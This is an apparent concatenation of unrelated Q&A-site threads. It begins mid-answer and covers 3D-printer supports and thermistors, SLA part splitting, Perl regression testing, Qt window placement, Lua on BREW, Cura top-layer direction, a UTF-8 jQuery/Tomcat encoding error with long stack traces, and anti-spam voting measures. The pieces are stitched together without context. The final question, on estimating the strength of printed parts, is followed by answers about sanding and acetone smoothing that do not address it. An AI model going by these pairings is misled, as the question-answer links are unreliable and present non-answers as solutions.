<p>Most of the used slicers have an option to determine how much distance (in terms of layers) you want between your support and your product, you could add an extra layer as space to try out if that works better for you. E.g. the default Cura setting for <code>Support Bottom Distance</code> (which is a sub-setting of <code>Support Z Distance</code>) is the layer thickness specified in <code>Layer Height</code>. If you have a layer height of 0.2 mm, the <code>Support Bottom Distance</code> is also 0.2 mm. For the top, option <code>Support Top Distance</code> this is two layer heights, so 0.4 mm in this example. These options are visible in the expert mode, you can search for them in the search box, see image below.</p>
<hr />
<p><strong>Why should you want air in between your part and the support?</strong></p>
<p>You'll soon find out when you want to <strong>remove supports</strong>, if no gap is used, the support will fuse to the print part. This is only interesting (no gap between print part and support structure) when you use a different filament for support like PVA or break-away filament; e.g. PVA dissolves in water in a dual nozzle printer setup (not that you can make the biggest part of the support except the top and bottom layer from the print object material, e.g. PLA for the main part of the support and PVA for the bottom and top layer: settings <code>First Layer Support Extruder</code>, <code>Support Interface Extruder</code>, <code>Support Roof Extruder</code> and <code>Support Floor Extruder</code>).</p>
<p><a href="https://i.stack.imgur.com/vnlrY.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/vnlrY.png" alt="enter image description here" /></a></p>
|
<p>It is recommended that you try "tree support" in the "experimental" module of settings.Also,before removing the support, blowing with a hot air gun to soften the support material connected to the model may achieve good results.</p>
| 1,185
|
<p>I'm pretty new in the 3D printing world, and there are some doubts that have come my way and I've not been able to find anywhere.</p>
<p>Usually, I'm going to try to print pieces bigger than the bed of my Elegoo Mars Pro (which is 115 x 65 x 150 mm, so it's pretty small). Everywhere I try to look at this they are talking about Fused Filament Fabrication (FFF) printers, and I guess that material will make the answer to these questions to be different, that's why I'm asking here. <strong>All of these questions are focused on SLA printers.</strong></p>
<h2>Is there any kind of technique / slicer software to be able to print those pieces by parts?</h2>
<p>I've read about slicers, but there seem to be a bunch of them, and some of them work best with some printers than others, and have different features but I haven't seen any that helps in this matter.</p>
<p>Also, I've seen the typical plane cut, but this doesn't make it easy later on to "fit" pieces. I would need some kind of female - male joint. Is there any (free) slicer that helps in that, and makes those joints to be accurate and solid?</p>
<p>Thank you!</p>
<hr />
<p>I removed the "shrink size" part in the question and published it <a href="https://3dprinting.stackexchange.com/questions/14283/curated-resin-size-shrink-and-methods-to-reduce-it">as a separate question</a>. Also moved <a href="https://3dprinting.stackexchange.com/questions/14284/sla-resin-post-processing-gluing-parts-together">to a different question</a> "gluing separate pieces" part.*</p>
|
<p>I don't think it is the thermistor degrading. To answer your question directly, all my thermistors have failed because the tiny wire has broken off, and generally the fail is “hard” not soft.</p>
<p>It is more likely you’re experiencing absorbed humidity in the filament from it being out on the spool too long. this makes you have to increase the temperature.</p>
<p>I’m sure if you dehydrated the spool in the oven for a bit you’d get better prints and a slightly lower print temp.</p>
<p>Additionally, keep in mind that a lot of PLA on the market nowadays runs at higher temps because it’s laced with something (“PLA+”?). Check the item description for indicators of a new or improved formula.</p>
<p>You could try ordering a thermistor of the same make and testing the temperature of it. You can get a half dozen for about \$10. The Marlin firmware your printer probably uses should have a section for thermistors and what kind you’re using. It’s probably type “1” which is the cheap kind.</p>
<p>You can try using one of those distant head thermometers to measure the temperature wirelessly at the hot end. These are probably over \$100 right now because of COVID. I think that is how a well-resourced person would handle this (i'm not one personally).</p>
<p>Maybe start with the oven and while it’s cooking, research the thermistors and what goes in to replacing one. It’s a good learning experience because one day your hotend may be irreparably clogged and you’ll want to know some of the steps to disassemble it.</p>
|
<p>It is indeed possible that the thermistor is broken (yet not sure). I am aware of two types of issues with thermistors:</p>
<ol>
<li><p>The contact (soldering) is broken, usually due to the temperature extreme variations. The thermistor will indicate the maximum temperature in case of PTC or minimum temperature in case of NTC. In some cases, due to vibrations or other factor, the contact will eventually touch, showing improbable jumps of temperature.</p>
</li>
<li><p>The thermistor is broken internally. In that case it will just indicate a wrong temperature. I can't say if constant temperature or constant delta.</p>
</li>
</ol>
<p>For how to troubleshot the component, however, EE.SE seems more convenient.</p>
| 1,728
|
<p>Is there a Perl module that allows me to view diffs between actual and reference output of programs (or functions)? The test fails if there are differences.</p>
<p>Also, in case there are differences but the output is OK (because the functionality has changed) I want to be able to commit the actual output as future reference output.</p>
|
<p>Perl has excellent utilities for doing testing. The most commonly used module is probably Test::More, which provides all the infrastructure you're likely to need for writing regression tests. The prove utility provides an easy interface for running test suites and summarizing the results. The Test::Differences module (which can be used with Test::More) might be useful to you as well. It formats differences as side-by-side comparisons. As for committing the actual output as the new reference material, that will depend on how your code under test provides output and how you capture it. It should be easy if you write to files and then compare them. If that's the case you might want to use the Text::Diff module within your test suite.</p>
|
<p>I tend to use more of the Test::Simple and Test::More functionality. I looked at PerlUnit and it seems to provide much of the functionality which is already built into the standard libraries with the Test::Simple and Test::More libraries.</p>
| 9,186
|
<p>Is there a way to specify a child's initial window position in Qt?</p>
<p>I have an application that runs on Linux and Windows and it looks like the default behavior of Qt lets the Window Manager determine the placement of the child windows. </p>
<p>On Windows, this is in the center of the screen the parent is on which seems reasonable. </p>
<p>On Linux, in GNOME (metacity) it is always in the upper left-hand corner which is annoying. I can't find any window manager preferences for metacity that allow me to control window placement so I would like to override that behavior.</p>
|
<p><a href="http://doc.qt.io/qt-4.8/qwidget.html#geometry-prop" rel="nofollow noreferrer">Qt Widget Geometry</a></p>
<p>Call the move(x, y) method on the child window before show(). The default values for x and y are 0 so that's why it appears in the upper left-hand corner.<br>
You can also use the position of the parent window to compute a relative position for the child.</p>
|
<p>Generally, I'd recommend not forcing window positions unless your application has some very special windowing requirements. It's the window manager's job to determine where new windows are put and most of them do a good job. If MetaCity isn't picking a good position, then that's its problem.</p>
<p>If you do your own window placement you may get a better result then what a poor window manager would give, but you'll also miss out on the intelligent window placement algorithms available in more advanced window managers.</p>
| 5,039
|
<p>It looks like <a href="http://brew.qualcomm.com/brew/" rel="nofollow noreferrer">BREW</a> 4.0 will have Lua included. But is it possible to use Lua on older BREW 3.0 (or even BREW 2.0)?</p>
|
<p>It is possible, but you will have to link lua interpreter source code to your application source code and wrap BREW API functions in order to use them from lua scripts.</p>
<p>Check out <a href="http://luaforge.net/projects/luabrew" rel="nofollow noreferrer">LuaBREW</a> project as an example of approach I briefly explained above.</p>
|
<p>We don't wait BREW 4.0. We are writing our LuaBREW implementation right now.</p>
| 9,671
|
<p>In Cura Slicer, is it possible to change the direction that the filament is laid down when making the top layer?</p>
<p><a href="https://i.stack.imgur.com/6AIdx.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/6AIdx.png" alt="enter image description here" /></a></p>
<p>For example, in the above picture the filiment is laid down at about 45 degrees to the X\Y axis. Can I make it 90 degrees?</p>
|
<p>Yes. Set "Top Surface Skin Layers" (roofing layers) to at least 1 and "Top Surface Skin Line Directions" to 0 or 90 as appropriate (instead of 45 and 135).</p>
|
<h2>Yes with a few tricks:</h2>
<p>You could turn the item by 45°, then all layers are turned to follow the local X and Y-axis of the body itself, but not the global X and Y of the printer - there'll be a 45° conversion between the items local coordinates and the printers global ones.</p>
<p>Or you could choose a different upper layer pattern, for example concentric, for the upper and lowermost layer.</p>
<p>If you want to define a specific zig-zag direction, you need to go advanced mode, click the gear and enable "Top/Bottom Line Direction". This now allows altering the direction by setting an angle different from 45°/135°. The setting however is ignored if you don't use Lines or ZigZag</p>
<p><a href="https://i.stack.imgur.com/6P3X2.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/6P3X2.png" alt="the 4.8 setting that needs to be enabled" /></a>
<a href="https://i.stack.imgur.com/hk8Rm.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/hk8Rm.png" alt="4.8 look" /></a></p>
| 2,084
|
<p>I am having problems submitting forms which contain UTF-8 strings with Ajax. I am developing a <a href="http://en.wikipedia.org/wiki/Apache_Struts" rel="noreferrer">Struts</a> web application which runs in a <a href="http://en.wikipedia.org/wiki/Apache_Tomcat" rel="noreferrer">Tomcat</a> server. This is the environment I set up to work with UTF-8:</p>
<ul>
<li><p>I have added the attributes <code>URIEncoding="UTF-8" useBodyEncodingForURI="true"</code> into the <code>Connector</code> tag to Tomcat's <code>conf/server.xml</code> file.</p></li>
<li><p>I have a <code>utf-8_general_ci</code> database</p></li>
<li><p>I am using the next filter to ensure my request and responses are encoded in UTF-8</p>
<pre><code>package filters;
import java.io.IOException;
import javax.servlet.*;
public class UTF8Filter implements Filter {
public void destroy() {}
public void doFilter(ServletRequest request,ServletResponse response, FilterChain chain)
throws IOException, ServletException {
request.setCharacterEncoding("UTF-8");
response.setContentType("text/html;charset=UTF-8");
chain.doFilter(request, response);
}
public void init(FilterConfig filterConfig) throws ServletException {
}
}
</code></pre></li>
<li><p>I use this filter in WEB-INF/web.xml</p></li>
<li><p>I am using the next code for my JSON responses:</p>
<pre><code>public static void populateWithJSON(HttpServletResponse response,JSONObject json)
{
String CONTENT_TYPE="text/x-json;charset=UTF-8";
response.setContentType(CONTENT_TYPE);
response.setHeader("Cache-Control", "no-cache");
try {
response.getWriter().write(json.toString());
} catch (IOException e) {
throw new ApplicationException("Application Exception raised in RetrievedStories", e);
}
}
</code></pre></li>
</ul>
<p>Everything seems to work fine (content coming from the database is displayed properly, and I am able to submit forms which are stored in UTF-8 in the database). The problem is that I am <strong>not able to submit forms with Ajax</strong>. I use jQuery, and I thought the problem was the lack of contentType field in the Ajax request. But I was wrong. I have a really simple form to submit comments which contains of an id and a body. The body field can be in different languages such as Spanish, German, or whatever.</p>
<p>If I submit my form with body textarea containing <code>contraseña</code>, <a href="http://en.wikipedia.org/wiki/Firebug_%28software%29" rel="noreferrer">Firebug</a> shows me:</p>
<blockquote>
<h3>Request Headers</h3>
<ul>
<li><strong><em>Host</em></strong> localhost:8080</li>
<li><strong><em>Accept-Charset</em></strong> ISO-8859-1, utf-8;q=0.7;*q=0.7</li>
<li><strong><em>Content-Type</em></strong> application/x-www-form-urlencoded; charset UTF-8</li>
</ul>
</blockquote>
<p>If I execute <em>Copy Location with parameters</em> in Firebug, the encoding seems already wrong:</p>
<pre><code>http://localhost:8080/Cerepedia/corporate/postStoryComment.do?&body=contrase%C3%B1a&id=88
</code></pre>
<p>This is my jQuery code:</p>
<pre><code>function addComment() {
var comment_body = $("#postCommentForm textarea").val();
var item_id = $("#postCommentForm input:hidden").val();
var url = rooturl+"corporate/postStoryComment.do?";
$.post(url, { id: item_id, body: comment_body } ,
function(data){
/* Do stuff with the answer */
}, "json"); }
</code></pre>
<p>A submission of a form with jQuery is causing the next error server side (note I am using <a href="http://en.wikipedia.org/wiki/Hibernate_%28Java%29" rel="noreferrer">Hibernate</a>).</p>
<pre><code>javax.servlet.ServletException: org.hibernate.exception.GenericJDBCException: Could not execute JDBC batch update
at org.apache.struts.action.RequestProcessor.processException(RequestProcessor.java:520)
at org.apache.struts.action.RequestProcessor.processActionPerform(RequestProcessor.java:427)
at org.apache.struts.action.RequestProcessor.process(RequestProcessor.java:228)
at org.apache.struts.action.ActionServlet.process(ActionServlet.java:1913)
at org.apache.struts.action.ActionServlet.doPost(ActionServlet.java:462)
at javax.servlet.http.HttpServlet.service(HttpServlet.java:710)
at javax.servlet.http.HttpServlet.service(HttpServlet.java:803)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:290)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206)
at com.cerebra.cerepedia.security.AuthorizationFilter.doFilter(AuthorizationFilter.java:78)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:235)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206)
at com.cerebra.cerepedia.hibernate.HibernateSessionRequestFilter.doFilter(HibernateSessionRequestFilter.java:30)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:235)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206)
at filters.UTF8Filter.doFilter(UTF8Filter.java:14)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:235)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206)
at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:230)
at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:175)
at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:128)
at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:104)
at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:109)
at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:261)
at org.apache.coyote.http11.Http11Processor.process(Http11Processor.java:844)
at org.apache.coyote.http11.Http11Protocol$Http11ConnectionHandler.process(Http11Protocol.java:581)
at org.apache.tomcat.util.net.JIoEndpoint$Worker.run(JIoEndpoint.java:447)
at java.lang.Thread.run(Unknown Source)
Caused by: org.hibernate.exception.GenericJDBCException: Could not execute JDBC batch update
at org.hibernate.exception.SQLStateConverter.handledNonSpecificException(SQLStateConverter.java:103)
at org.hibernate.exception.SQLStateConverter.convert(SQLStateConverter.java:91)
at org.hibernate.exception.JDBCExceptionHelper.convert(JDBCExceptionHelper.java:43)
at org.hibernate.jdbc.AbstractBatcher.executeBatch(AbstractBatcher.java:249)
at org.hibernate.engine.ActionQueue.executeActions(ActionQueue.java:235)
at org.hibernate.engine.ActionQueue.executeActions(ActionQueue.java:139)
at org.hibernate.event.def.AbstractFlushingEventListener.performExecutions(AbstractFlushingEventListener.java:298)
at org.hibernate.event.def.DefaultFlushEventListener.onFlush(DefaultFlushEventListener.java:27)
at org.hibernate.impl.SessionImpl.flush(SessionImpl.java:1000)
at org.hibernate.impl.SessionImpl.managedFlush(SessionImpl.java:338)
at org.hibernate.transaction.JDBCTransaction.commit(JDBCTransaction.java:106)
at com.cerebra.cerepedia.item.dao.ItemDAOHibernate.addComment(ItemDAOHibernate.java:505)
at com.cerebra.cerepedia.item.ItemManagerPOJOImpl.addComment(ItemManagerPOJOImpl.java:164)
at com.cerebra.cerepedia.struts.item.ItemAction.addComment(ItemAction.java:126)
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(Unknown Source)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source)
at java.lang.reflect.Method.invoke(Unknown Source)
at org.apache.struts.actions.DispatchAction.dispatchMethod(DispatchAction.java:269)
at org.apache.struts.actions.DispatchAction.execute(DispatchAction.java:170)
at org.apache.struts.actions.MappingDispatchAction.execute(MappingDispatchAction.java:166)
at org.apache.struts.action.RequestProcessor.processActionPerform(RequestProcessor.java:425)
... 26 more
Caused by: java.sql.BatchUpdateException: Incorrect string value: '\xF1a' for column 'body' at row 1
at com.mysql.jdbc.ServerPreparedStatement.executeBatch(ServerPreparedStatement.java:657)
at com.mchange.v2.c3p0.impl.NewProxyPreparedStatement.executeBatch(NewProxyPreparedStatement.java:1723)
at org.hibernate.jdbc.BatchingBatcher.doExecuteBatch(BatchingBatcher.java:48)
at org.hibernate.jdbc.AbstractBatcher.executeBatch(AbstractBatcher.java:242)
... 44 more
26-ago-2008 19:54:48 org.apache.catalina.core.StandardWrapperValve invoke
GRAVE: Servlet.service() para servlet action lanzó excepción
java.sql.BatchUpdateException: Incorrect string value: '\xF1a' for column 'body' at row 1
at com.mysql.jdbc.ServerPreparedStatement.executeBatch(ServerPreparedStatement.java:657)
at com.mchange.v2.c3p0.impl.NewProxyPreparedStatement.executeBatch(NewProxyPreparedStatement.java:1723)
at org.hibernate.jdbc.BatchingBatcher.doExecuteBatch(BatchingBatcher.java:48)
at org.hibernate.jdbc.AbstractBatcher.executeBatch(AbstractBatcher.java:242)
at org.hibernate.engine.ActionQueue.executeActions(ActionQueue.java:235)
at org.hibernate.engine.ActionQueue.executeActions(ActionQueue.java:139)
at org.hibernate.event.def.AbstractFlushingEventListener.performExecutions(AbstractFlushingEventListener.java:298)
at org.hibernate.event.def.DefaultFlushEventListener.onFlush(DefaultFlushEventListener.java:27)
at org.hibernate.impl.SessionImpl.flush(SessionImpl.java:1000)
at org.hibernate.impl.SessionImpl.managedFlush(SessionImpl.java:338)
at org.hibernate.transaction.JDBCTransaction.commit(JDBCTransaction.java:106)
at com.cerebra.cerepedia.item.dao.ItemDAOHibernate.addComment(ItemDAOHibernate.java:505)
at com.cerebra.cerepedia.item.ItemManagerPOJOImpl.addComment(ItemManagerPOJOImpl.java:164)
at com.cerebra.cerepedia.struts.item.ItemAction.addComment(ItemAction.java:126)
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(Unknown Source)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source)
at java.lang.reflect.Method.invoke(Unknown Source)
at org.apache.struts.actions.DispatchAction.dispatchMethod(DispatchAction.java:269)
at org.apache.struts.actions.DispatchAction.execute(DispatchAction.java:170)
at org.apache.struts.actions.MappingDispatchAction.execute(MappingDispatchAction.java:166)
at org.apache.struts.action.RequestProcessor.processActionPerform(RequestProcessor.java:425)
at org.apache.struts.action.RequestProcessor.process(RequestProcessor.java:228)
at org.apache.struts.action.ActionServlet.process(ActionServlet.java:1913)
at org.apache.struts.action.ActionServlet.doPost(ActionServlet.java:462)
at javax.servlet.http.HttpServlet.service(HttpServlet.java:710)
at javax.servlet.http.HttpServlet.service(HttpServlet.java:803)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:290)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206)
at com.cerebra.cerepedia.security.AuthorizationFilter.doFilter(AuthorizationFilter.java:78)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:235)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206)
at com.cerebra.cerepedia.hibernate.HibernateSessionRequestFilter.doFilter(HibernateSessionRequestFilter.java:30)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:235)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206)
at filters.UTF8Filter.doFilter(UTF8Filter.java:14)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:235)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206)
at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:230)
at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:175)
at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:128)
at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:104)
at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:109)
at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:261)
at org.apache.coyote.http11.Http11Processor.process(Http11Processor.java:844)
at org.apache.coyote.http11.Http11Protocol$Http11ConnectionHandler.process(Http11Protocol.java:581)
at org.apache.tomcat.util.net.JIoEndpoint$Worker.run(JIoEndpoint.java:447)
at java.lang.Thread.run(Unknown Source)
javax.servlet.ServletException: java.lang.NumberFormatException: null
at org.apache.struts.action.RequestProcessor.processException(RequestProcessor.java:520)
at org.apache.struts.action.RequestProcessor.processActionPerform(RequestProcessor.java:427)
at org.apache.struts.action.RequestProcessor.process(RequestProcessor.java:228)
at org.apache.struts.action.ActionServlet.process(ActionServlet.java:1913)
at org.apache.struts.action.ActionServlet.doGet(ActionServlet.java:449)
at javax.servlet.http.HttpServlet.service(HttpServlet.java:690)
at javax.servlet.http.HttpServlet.service(HttpServlet.java:803)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:290)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206)
at com.cerebra.cerepedia.security.AuthorizationFilter.doFilter(AuthorizationFilter.java:78)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:235)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206)
at com.cerebra.cerepedia.hibernate.HibernateSessionRequestFilter.doFilter(HibernateSessionRequestFilter.java:30)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:235)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206)
at filters.UTF8Filter.doFilter(UTF8Filter.java:14)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:235)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206)
at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:230)
at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:175)
at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:128)
at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:104)
at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:109)
at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:261)
at org.apache.coyote.http11.Http11Processor.process(Http11Processor.java:844)
at org.apache.coyote.http11.Http11Protocol$Http11ConnectionHandler.process(Http11Protocol.java:581)
at org.apache.tomcat.util.net.JIoEndpoint$Worker.run(JIoEndpoint.java:447)
at java.lang.Thread.run(Unknown Source)
Caused by: java.lang.NumberFormatException: null
at java.lang.Long.parseLong(Unknown Source)
at java.lang.Long.valueOf(Unknown Source)
at com.cerebra.cerepedia.struts.item.ItemAction.addComment(ItemAction.java:120)
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(Unknown Source)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source)
at java.lang.reflect.Method.invoke(Unknown Source)
at org.apache.struts.actions.DispatchAction.dispatchMethod(DispatchAction.java:269)
at org.apache.struts.actions.DispatchAction.execute(DispatchAction.java:170)
at org.apache.struts.actions.MappingDispatchAction.execute(MappingDispatchAction.java:166)
at org.apache.struts.action.RequestProcessor.processActionPerform(RequestProcessor.java:425)
... 26 more
26-ago-2008 20:13:25 org.apache.catalina.core.StandardWrapperValve invoke
GRAVE: Servlet.service() para servlet action lanzó excepción
java.lang.NumberFormatException: null
at java.lang.Long.parseLong(Unknown Source)
at java.lang.Long.valueOf(Unknown Source)
at com.cerebra.cerepedia.struts.item.ItemAction.addComment(ItemAction.java:120)
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(Unknown Source)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source)
at java.lang.reflect.Method.invoke(Unknown Source)
at org.apache.struts.actions.DispatchAction.dispatchMethod(DispatchAction.java:269)
at org.apache.struts.actions.DispatchAction.execute(DispatchAction.java:170)
at org.apache.struts.actions.MappingDispatchAction.execute(MappingDispatchAction.java:166)
at org.apache.struts.action.RequestProcessor.processActionPerform(RequestProcessor.java:425)
at org.apache.struts.action.RequestProcessor.process(RequestProcessor.java:228)
at org.apache.struts.action.ActionServlet.process(ActionServlet.java:1913)
at org.apache.struts.action.ActionServlet.doGet(ActionServlet.java:449)
at javax.servlet.http.HttpServlet.service(HttpServlet.java:690)
at javax.servlet.http.HttpServlet.service(HttpServlet.java:803)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:290)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206)
at com.cerebra.cerepedia.security.AuthorizationFilter.doFilter(AuthorizationFilter.java:78)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:235)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206)
at com.cerebra.cerepedia.hibernate.HibernateSessionRequestFilter.doFilter(HibernateSessionRequestFilter.java:30)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:235)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206)
at filters.UTF8Filter.doFilter(UTF8Filter.java:14)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:235)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206)
at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:230)
at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:175)
at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:128)
at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:104)
at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:109)
at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:261)
at org.apache.coyote.http11.Http11Processor.process(Http11Processor.java:844)
at org.apache.coyote.http11.Http11Protocol$Http11ConnectionHandler.process(Http11Protocol.java:581)
at org.apache.tomcat.util.net.JIoEndpoint$Worker.run(JIoEndpoint.java:447)
at java.lang.Thread.run(Unknown Source)
</code></pre>
|
<p>have you tried adding the following before the call :</p>
<pre><code>$.ajaxSetup({
scriptCharset: "utf-8" ,
contentType: "application/json; charset=utf-8"
});
</code></pre>
<p>The options are explained <a href="http://docs.jquery.com/Ajax/jQuery.ajax#toptions" rel="noreferrer">here</a>.</p>
<p>contentType : When sending data to the server, use this content-type. Default is "application/x-www-form-urlencoded", which is fine for most cases.</p>
<p>scriptCharset : Only for requests with 'jsonp' or 'script' dataType and GET type. Forces the request to be interpreted as a certain charset. Only needed for charset differences between the remote and local content.</p>
|
<p>I see this problem a lot.
The meta doesn't work always in your PHP data operations, so just type this at the beginning:</p>
<pre><code><?php header('Content-type: text/html; charset=utf-8'); ?>
</code></pre>
| 4,952
|
<p><strong>What mechanisms do you know that prevent your site from being abused by anonymous spammers.</strong></p>
<p>For example, let's say that I have a site where people can vote something. But I <em>don't</em> want someone to spam something all the way to the top. So I found (a) creating an account and only allowed to vote once and (b) CAPTCHA to decrease spam. What other methods do you know and how good do they work?</p>
|
<p>The big thing I've noticed is that whatever you do, you want your system to be unique. You want an attacker to have to tailor their automation program for your specific site, rather than just throw a pre-existing script at it that will work almost anywhere. It doesn't even have to be cryptographically secure; it just has to make your site a little different from the norm.</p>
<p>This doesn't mean you can't or shouldn't use something like a pre-built captcha widget. Absolutely do use one of those as a staring point! It just means you have to customize it somewhere so that something extra happens that is outside the norm and will break any pre-existing script that could normally defeat it.</p>
<p>If your site gets big enough that you have attackers targeting it specifically, then your simple little customization probably won't hold up anymore and you might have do something a little more special and think about real cryptography and all that. But that's one of those things that's a "good" problem to have.</p>
|
<p>stackoverflow has a few features that help with this; I think the single most useful step you can take is disabling the ability of anonymous users and new accounts to vote. This way, no one can sign up for hundreds of accounts and use their one vote to overpower other users. I'd say requiring a few posts or membership for a certain period of time are both decent options.</p>
<p>Some would say you could allow one vote per IP address to help address this, but I've played plenty of games where malicious users with a nigh-infinite number of proxies defied IP address-based security. It's a deterrent, but a savvy user will get around it easily.</p>
| 6,347
|
<p>I'm going to 3D print a part that needs to meet certain strength requirements, due to its usages. I know how strong a particular plastic (eg. comrpessive/tensile/shear strength) is when dealt with in a solid chunk, but not when it is 3D printed. What is a good way to estimate the change?</p>
|
<p>I have a bunch of solutions to this problem but I'm always looking for additional ideas. I usually start by slicing as much as possible off with a hobby knife. The more than can be removed before sanding the better.</p>
<p>For big prints I like big <a href="http://rads.stackoverflow.com/amzn/click/B001449TPS">generic sandpaper sheets</a> from the hardware store. Starting with the highest grit and moving down. Make sure you're discarding your sheets when they get totally gunked up (which can happen pretty fast) or you won't get much done.</p>
<p>For smaller nooks and crannies I have <a href="http://rads.stackoverflow.com/amzn/click/B000NPUKYS">a set of needle files</a>. They do a pretty good job clearing out screw holes and smaller features on printed sculptures.</p>
<p>I've also had some success sanding with my <a href="http://rads.stackoverflow.com/amzn/click/B00005LEXX">Dremel</a> when it comes to annoying stuck on supports or other imperfections. Having some horsepower behind your sanding can be a nice break. I've also seen the <a href="http://rads.stackoverflow.com/amzn/click/B000HWRU9U">wire brush attachments</a> used for finishing Bronze and Copper-fill prints. Just keep an eye on your speed or you'll sand a hole in your print.</p>
<p>Lastly (and one I haven't tried) are <a href="http://rads.stackoverflow.com/amzn/click/B0039ZCQAK">these sanding sticks</a> They were recommended by a friend and look like they would be pretty easy to use/swap out used sandpaper. </p>
|
<p>I've noticed if I'm printing too close too the bed or if the bed isn't level to nozzle across the whole bed the supports will leave marks on the print where the print was 'smushed' by the nozzle being slightly closer on that side. Also, in Simplify3d you can increase the vertical and horizontal distance between the part and the support, which makes a big difference as far as cleanup, too far though and the support doesn't support. I also increase the speed of support printing, since it directly affects layer adhesion. The faster the speed the less likely to bond to the model.</p>
<p>I use small files for small quick imperfections, and sometimes small knives for stubborn brims. For smoothing I now use a quick acetone dip on my parts. Usually 10-30 seconds completely submerged at most. Then without touching the print (it's very mushy) place it down or hang (outside) to dry out the acetone for about two hours for every hour printed or so. You can handle small parts within 10 minutes if you dipped less than 15 seconds. The acetone evaporates over time and the abs print regains its strength completely once all the acetone is gone. This can take days if it's a big part (maybe 9" x 9") and was dipped in acetone for longer than 30 seconds. If the part smells like acetone, it's still evaporating.</p>
